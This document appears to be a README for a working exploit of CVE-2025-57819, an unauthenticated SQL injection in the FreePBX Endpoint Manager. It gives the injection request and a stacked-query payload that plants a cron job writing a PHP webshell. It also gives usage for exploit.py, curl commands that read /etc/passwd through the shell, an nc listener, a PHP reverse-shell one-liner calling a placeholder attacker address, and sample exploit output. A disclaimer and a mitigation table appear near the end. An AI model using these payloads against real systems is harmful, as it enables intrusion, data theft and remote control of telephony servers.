
Unauthenticated SQL injection in FreePBX Endpoint Manager (CVE-2025-57819) that injects a cron-scheduled PHP webshell for remote code execution.
FreePBX is the open-source web GUI for Asterisk PBX, widely deployed in enterprise telephony environments. The Endpoint Manager module exposes an AJAX handler at /admin/ajax.php that accepts a brand parameter and interpolates it directly into a SQL query without sanitisation. An unauthenticated remote attacker can inject arbitrary SQL, insert a row into the cron_jobs table, and have the FreePBX cron daemon write an executable PHP webshell to the web root — yielding unauthenticated remote code execution within approximately one minute.
| Field | Value |
|---|---|
| CVE ID | CVE-2025-57819 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — Improper Neutralisation of Special Elements used in an SQL Command |
| Component | FreePBX Endpoint Manager Module |
| Affected | FreePBX 17.x (unpatched) |
| Patched | FreePBX 17.x (patched) |
| Attack Vector | Network — No Authentication Required |
The vulnerable request targets the Endpoint Manager's AJAX command handler:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
The brand parameter is concatenated into a SQL query without escaping or prepared statements. An attacker closes the query string and appends a second statement:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
The injected cron entry runs every minute under the web-server/Asterisk process owner and writes:
<?php system($_GET[cmd]); ?>
to /var/www/html/webshell.php, giving unauthenticated OS command execution via HTTP.
The Endpoint Manager AJAX handler builds SQL dynamically using string formatting rather than parameterised queries. The brand field is never validated or escaped before being embedded in a SELECT statement, making it trivially injectable.
Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table
│
FreePBX cron daemon (≤60s) │
▼
Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec
pip install requests urllib3
-t, --target Target IP address or hostname (required)
--timeout Seconds to wait for target availability (default: 30)
--delay Seconds to wait for cron job to execute (default: 65)
1. Run the exploit against the target:
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>
# Use hostname
python3 exploit.py -t connected.htb
# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90
2. If the webshell is confirmed, interact with it directly:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. Upgrade to a reverse shell via the webshell:
Start a listener on your machine:
nc -lvnp <LOCAL_PORT>
Then trigger a PHP reverse shell through the cmd parameter (URL-encoded):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
The URL-decoded payload sent as cmd is:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : FreePBX Endpoint Module
Affected : unpatched 17.x → Patched: patched 17.x
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL Injection
Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probing target <IP> (max 30s) ...
14:03:12 [+] Target is alive — HTTP 200
14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
14:03:12 [!] Injecting cron job via SQL injection ...
14:03:12 [+] Injection request sent
14:03:12 [*] Waiting 65s for cron job to fire ...
14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell is active — command output:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] Exploit routine complete.
Timing note. The default
--delayof 65 seconds ensures the cron daemon (which fires at the start of every minute) has had at least one opportunity to run the injected job. On slow targets, increase to--delay 90or--delay 120.
This exploit is provided strictly for educational purposes and authorized security testing. Use only against systems you own or have explicit written permission to test. Unauthorized use is illegal and unethical.
| Priority | Action |
|---|
| Critical | Apply the FreePBX vendor patch for CVE-2025-57819 immediately |
| Critical | Remove any existing /var/www/html/webshell.php artefacts |
| High | Restrict access to /admin/ajax.php to authenticated, trusted network sources |
| High | Audit and sanitise all SQL queries in Endpoint Manager — use prepared statements |
| Medium | Restrict the cron_jobs table: limit which roles can INSERT |
| Medium | Apply a WAF rule blocking stacked-query patterns on the AJAX endpoint |
| Low | Run the FreePBX/Asterisk process under a minimal privilege account with no write access to the web root |